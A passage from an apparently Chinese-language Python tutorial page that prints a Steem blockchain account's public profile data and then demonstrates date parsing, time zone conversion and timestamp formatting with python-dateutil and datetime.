</span></span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="o">**</span><span class="n">yjcps</span><span class="o">.</span><span class="n">view_account_info</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">display_message</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Username:   yjcps
</span></span><span class="line"><span class="cl">Reputation:     51.49449059489242
</span></span><span class="line"><span class="cl">Created:    2018-01-04-Thu 13:25:18
</span></span><span class="line"><span class="cl">Last Post:  2018-08-19-Sun 07:01:57 (0 days ago)
</span></span><span class="line"><span class="cl">===========================================
</span></span><span class="line"><span class="cl">STEEM Balance:  0.437 STEEM
</span></span><span class="line"><span class="cl">SBD Balance:    4.499 SBD
</span></span><span class="line"><span class="cl">SP:         121.35205862624704
</span></span><span class="line"><span class="cl">Delegated SP:   57.07437749836572
</span></span><span class="line"><span class="cl">Total Posts:    261
</span></span><span class="line"><span class="cl">Voting Power:   68.73%
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">pprint</span><span class="p">(</span><span class="n">yjcps</span><span class="o">.</span><span class="n">account_info</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span><span class="lnt">87
</span><span class="lnt">88
</span><span class="lnt">89
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{&#39;active&#39;: {&#39;account_auths&#39;: [],
</span></span><span class="line"><span class="cl">            &#39;key_auths&#39;: [[&#39;STM52aJdPyehuxigiDfYngKBL8PSAcESNmYENdaVnwRuKoiP1M9eu&#39;,
</span></span><span class="line"><span class="cl">                           1]],
</span></span><span class="line"><span class="cl">            &#39;weight_threshold&#39;: 1},
</span></span><span class="line"><span class="cl"> &#39;average_bandwidth&#39;: &#39;56831815207&#39;,
</span></span><span class="line"><span class="cl"> &#39;average_market_bandwidth&#39;: 1279817315,
</span></span><span class="line"><span class="cl"> &#39;balance&#39;: &#39;0.437 STEEM&#39;,
</span></span><span class="line"><span class="cl"> &#39;can_vote&#39;: True,
</span></span><span class="line"><span class="cl"> &#39;comment_count&#39;: 0,
</span></span><span class="line"><span class="cl"> &#39;created&#39;: &#39;2018-01-04T05:25:18&#39;,
</span></span><span class="line"><span class="cl"> &#39;curation_rewards&#39;: 231,
</span></span><span class="line"><span class="cl"> &#39;delegated_vesting_shares&#39;: &#39;115562.393455 VESTS&#39;,
</span></span><span class="line"><span class="cl"> &#39;guest_bloggers&#39;: [],
</span></span><span class="line"><span class="cl"> &#39;id&#39;: 556829,
</span></span><span class="line"><span class="cl"> &#39;json_metadata&#39;: &#39;{&#34;profile&#34;:{&#34;name&#34;:&#34;hacper&#34;,&#34;profile_image&#34;:&#34;https://s.gravatar.com/avatar/6f1c379a4a2c2190a4aa0921836e98b1?s=80&#34;,&#34;location&#34;:&#34;GuangDong, &#39;
</span></span><span class="line"><span class="cl">                  &#39;China&#34;,&#34;about&#34;:&#34;最好的选择莫过于投资自己，写作是其一！&#34;,&#34;website&#34;:&#34;https://steemit.com/@yjcps&#34;,&#34;cover_image&#34;:&#34;https://cdn.steemitimages.com/DQmTvZbcaXYAcpTAjyNLp4qa9ttMu2Eo5wHSSzTaQSK4tPj/%E5%9B%BE%E7%89%87.png&#34;,&#34;bitcoin&#34;:&#34;123YPnYjJmANKtiBr4DTsGJcncxxu2q6y3&#34;,&#34;ethereum&#34;:&#34;0x50be5c7e721b8e146167dccb35e3c94156e13f58&#34;}}&#39;,
</span></span><span class="line"><span class="cl"> &#39;last_account_recovery&#39;: &#39;1970-01-01T00:00:00&#39;,
</span></span><span class="line"><span class="cl"> &#39;last_account_update&#39;: &#39;2018-08-10T02:42:45&#39;,
</span></span><span class="line"><span class="cl"> &#39;last_bandwidth_update&#39;: &#39;2018-08-19T02:06:15&#39;,
</span></span><span class="line"><span class="cl"> &#39;last_market_bandwidth_update&#39;: &#39;2018-08-16T01:42:00&#39;,
</span></span><span class="line"><span class="cl"> &#39;last_owner_update&#39;: &#39;2018-01-04T14:49:21&#39;,
</span></span><span class="line"><span class="cl"> &#39;last_post&#39;: &#39;2018-08-18T23:01:57&#39;,
</span></span><span class="line"><span class="cl"> &#39;last_root_post&#39;: &#39;2018-08-18T23:01:57&#39;,
</span></span><span class="line"><span class="cl"> &#39;last_vote_time&#39;: &#39;2018-08-19T02:06:15&#39;,
</span></span><span class="line"><span class="cl"> &#39;lifetime_bandwidth&#39;: &#39;615056000000&#39;,
</span></span><span class="line"><span class="cl"> &#39;lifetime_market_bandwidth&#39;: &#39;22160000000&#39;,
</span></span><span class="line"><span class="cl"> &#39;lifetime_vote_count&#39;: 0,
</span></span><span class="line"><span class="cl"> &#39;market_history&#39;: [],
</span></span><span class="line"><span class="cl"> &#39;memo_key&#39;: &#39;STM6spBZkmNSe9fccLvsms7bGjSRaE4gsRbTAxNLnEiFHyhP9ww1f&#39;,
</span></span><span class="line"><span class="cl"> &#39;mined&#39;: False,
</span></span><span class="line"><span class="cl"> &#39;name&#39;: &#39;yjcps&#39;,
</span></span><span class="line"><span class="cl"> &#39;next_vesting_withdrawal&#39;: &#39;1969-12-31T23:59:59&#39;,
</span></span><span class="line"><span class="cl"> &#39;other_history&#39;: [],
</span></span><span class="line"><span class="cl"> &#39;owner&#39;: {&#39;account_auths&#39;: [],
</span></span><span class="line"><span class="cl">           &#39;key_auths&#39;: [[&#39;STM5gJExNnQn5aLjpp8cn7nngfYsutN6NCJmKfn9dFgji6fZrHkwH&#39;,
</span></span><span class="line"><span class="cl">                          1]],
</span></span><span class="line"><span class="cl">           &#39;weight_threshold&#39;: 1},
</span></span><span class="line"><span class="cl"> &#39;post_count&#39;: 261,
</span></span><span class="line"><span class="cl"> &#39;post_history&#39;: [],
</span></span><span class="line"><span class="cl"> &#39;posting&#39;: {&#39;account_auths&#39;: [[&#39;busy.app&#39;, 1],
</span></span><span class="line"><span class="cl">                               [&#39;dlive.app&#39;, 1],
</span></span><span class="line"><span class="cl">                               [&#39;dtube.app&#39;, 1],
</span></span><span class="line"><span class="cl">                               [&#39;fundition.app&#39;, 1],
</span></span><span class="line"><span class="cl">                               [&#39;partiko-steemcon&#39;, 1],
</span></span><span class="line"><span class="cl">                               [&#39;smartsteem&#39;, 1],
</span></span><span class="line"><span class="cl">                               [&#39;steemauto&#39;, 1],
</span></span><span class="line"><span class="cl">                               [&#39;steemgg.app&#39;, 1],
</span></span><span class="line"><span class="cl">                               [&#39;steemhunt.com&#39;, 1]],
</span></span><span class="line"><span class="cl">             &#39;key_auths&#39;: [[&#39;STM8bbH2Sfq72PshhVeNpSRQAa4XeiDwTNq4LdY8hxFMZkhfSGZU9&#39;,
</span></span><span class="line"><span class="cl">                            1]],
</span></span><span class="line"><span class="cl">             &#39;weight_threshold&#39;: 1},
</span></span><span class="line"><span class="cl"> &#39;posting_rewards&#39;: 54307,
</span></span><span class="line"><span class="cl"> &#39;proxied_vsf_votes&#39;: [0, 0, 0, 0],
</span></span><span class="line"><span class="cl"> &#39;proxy&#39;: &#39;&#39;,
</span></span><span class="line"><span class="cl"> &#39;received_vesting_shares&#39;: &#39;0.000000 VESTS&#39;,
</span></span><span class="line"><span class="cl"> &#39;recovery_account&#39;: &#39;skenan&#39;,
</span></span><span class="line"><span class="cl"> &#39;reputation&#39;: &#39;878683129879&#39;,
</span></span><span class="line"><span class="cl"> &#39;reset_account&#39;: &#39;null&#39;,
</span></span><span class="line"><span class="cl"> &#39;reward_sbd_balance&#39;: &#39;0.000 SBD&#39;,
</span></span><span class="line"><span class="cl"> &#39;reward_steem_balance&#39;: &#39;0.000 STEEM&#39;,
</span></span><span class="line"><span class="cl"> &#39;reward_vesting_balance&#39;: &#39;0.000000 VESTS&#39;,
</span></span><span class="line"><span class="cl"> &#39;reward_vesting_steem&#39;: &#39;0.000 STEEM&#39;,
</span></span><span class="line"><span class="cl"> &#39;savings_balance&#39;: &#39;0.000 STEEM&#39;,
</span></span><span class="line"><span class="cl"> &#39;savings_sbd_balance&#39;: &#39;0.000 SBD&#39;,
</span></span><span class="line"><span class="cl"> &#39;savings_sbd_last_interest_payment&#39;: &#39;1970-01-01T00:00:00&#39;,
</span></span><span class="line"><span class="cl"> &#39;savings_sbd_seconds&#39;: &#39;0&#39;,
</span></span><span class="line"><span class="cl"> &#39;savings_sbd_seconds_last_update&#39;: &#39;1970-01-01T00:00:00&#39;,
</span></span><span class="line"><span class="cl"> &#39;savings_withdraw_requests&#39;: 0,
</span></span><span class="line"><span class="cl"> &#39;sbd_balance&#39;: &#39;4.499 SBD&#39;,
</span></span><span class="line"><span class="cl"> &#39;sbd_last_interest_payment&#39;: &#39;2018-08-14T00:32:57&#39;,
</span></span><span class="line"><span class="cl"> &#39;sbd_seconds&#39;: &#39;1907954703&#39;,
</span></span><span class="line"><span class="cl"> &#39;sbd_seconds_last_update&#39;: &#39;2018-08-18T22:40:57&#39;,
</span></span><span class="line"><span class="cl"> &#39;tags_usage&#39;: [],
</span></span><span class="line"><span class="cl"> &#39;to_withdraw&#39;: 0,
</span></span><span class="line"><span class="cl"> &#39;transfer_history&#39;: [],
</span></span><span class="line"><span class="cl"> &#39;vesting_balance&#39;: &#39;0.000 STEEM&#39;,
</span></span><span class="line"><span class="cl"> &#39;vesting_shares&#39;: &#39;245709.808613 VESTS&#39;,
</span></span><span class="line"><span class="cl"> &#39;vesting_withdraw_rate&#39;: &#39;0.000000 VESTS&#39;,
</span></span><span class="line"><span class="cl"> &#39;vote_history&#39;: [],
</span></span><span class="line"><span class="cl"> &#39;voting_power&#39;: 6873,
</span></span><span class="line"><span class="cl"> &#39;withdraw_routes&#39;: 0,
</span></span><span class="line"><span class="cl"> &#39;withdrawn&#39;: 0,
</span></span><span class="line"><span class="cl"> &#39;witness_votes&#39;: [&#39;abit&#39;,
</span></span><span class="line"><span class="cl">                   &#39;bobdos&#39;,
</span></span><span class="line"><span class="cl">                   &#39;ety001&#39;,
</span></span><span class="line"><span class="cl">                   &#39;justyy&#39;,
</span></span><span class="line"><span class="cl">                   &#39;skenan&#39;,
</span></span><span class="line"><span class="cl">                   &#39;therealwolf&#39;],
</span></span><span class="line"><span class="cl"> &#39;witnesses_voted_for&#39;: 6}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">del</span> <span class="n">yjcps</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="补充">补充</h2>
<h3 id="解析日期字符串">解析日期字符串</h3>
<p><a href="http://labix.org/python-dateutil#head-a23e8ae0a661d77b89dfb3476f85b26f0b30349c">python-dateutil</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># ISO format</span>
</span></span><span class="line"><span class="cl"><span class="n">dt</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="s2">&#34;2018-01-04T14:49:21&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">type</span><span class="p">(</span><span class="n">dt</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2018-01-04 14:49:21
</span></span><span class="line"><span class="cl">&lt;class &#39;datetime.datetime&#39;&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 设置时区</span>
</span></span><span class="line"><span class="cl"><span class="n">TZOFFSETS</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;BRST&#34;</span><span class="p">:</span> <span class="o">-</span><span class="mi">10800</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="n">dt</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="s2">&#34;Thu Sep 25 10:36:28 BRST 2003&#34;</span><span class="p">,</span>  <span class="n">tzinfos</span><span class="o">=</span><span class="n">TZOFFSETS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">type</span><span class="p">(</span><span class="n">dt</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2003-09-25 10:36:28-03:00
</span></span><span class="line"><span class="cl">&lt;class &#39;datetime.datetime&#39;&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">dt</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="s2">&#34;2003-09-25T10:49:41.5-03:00&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dt</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2003-09-25 10:49:41.500000-03:00
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">dt</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="s2">&#34;20030925T104941&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dt</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2003-09-25 10:49:41
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">dt</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="s2">&#34;2003.Sep.25&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dt</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2003-09-25 00:00:00
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">dt</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="s2">&#34;Tuesday, April 12, 1952 AD 3:30:42pm PST&#34;</span><span class="p">,</span> <span class="n">ignoretz</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dt</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">1952-04-12 15:30:42
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="时区转换">时区转换</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 当前本地时间</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 当前UTC时间</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">utcnow</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 时差</span>
</span></span><span class="line"><span class="cl"><span class="n">dt</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span> <span class="o">-</span> <span class="n">datetime</span><span class="o">.</span><span class="n">utcnow</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 设置时区为UTC+0:00</span>
</span></span><span class="line"><span class="cl"><span class="n">utc_dt</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">utcnow</span><span class="p">()</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">tzinfo</span><span class="o">=</span><span class="n">timezone</span><span class="o">.</span><span class="n">utc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">utc_dt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 设置时区为UTC+8:00</span>
</span></span><span class="line"><span class="cl"><span class="n">_bj_dt</span> <span class="o">=</span> <span class="n">utc_dt</span><span class="o">.</span><span class="n">astimezone</span><span class="p">(</span><span class="n">timezone</span><span class="p">(</span><span class="n">dt</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">_bj_dt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 设置时区为UTC+5:00</span>
</span></span><span class="line"><span class="cl"><span class="n">bj_dt</span> <span class="o">=</span> <span class="n">utc_dt</span><span class="o">.</span><span class="n">astimezone</span><span class="p">(</span><span class="n">timezone</span><span class="p">(</span><span class="n">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="mi">5</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">bj_dt</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2018-08-19 11:35:33.051849
</span></span><span class="line"><span class="cl">2018-08-19 03:35:33.051849
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">8:00:00
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2018-08-19 03:35:33.052827+00:00
</span></span><span class="line"><span class="cl">2018-08-19 11:35:33.052827+08:00
</span></span><span class="line"><span class="cl">2018-08-19 08:35:33.052827+05:00
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="时间格式转换">时间格式转换</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">dt</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="s2">&#34;2018-08-18T23:01:57&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dt</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2018-08-18 23:01:57
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># datetime 2 timestamp</span>
</span></span><span class="line"><span class="cl"><span class="n">timestamp</span> <span class="o">=</span> <span class="n">dt</span><span class="o">.</span><span class="n">timestamp</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># timestamp 2 datetime</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">fromtimestamp</span><span class="p">(</span><span class="n">timestamp</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">utcfromtimestamp</span><span class="p">(</span><span class="n">timestamp</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">1534604517.0
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2018-08-18 23:01:57
</span></span><span class="line"><span class="cl">2018-08-18 15:01:57
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># datetime 2 string</span>
</span></span><span class="line"><span class="cl"><span class="n">str_time</span> <span class="o">=</span> <span class="n">dt</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s1">&#39;%Y/%m/</span><span class="si">%d</span><span class="s1"> %H:%M:%S&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">str_time</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">type</span><span class="p">(</span><span class="n">str_time</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
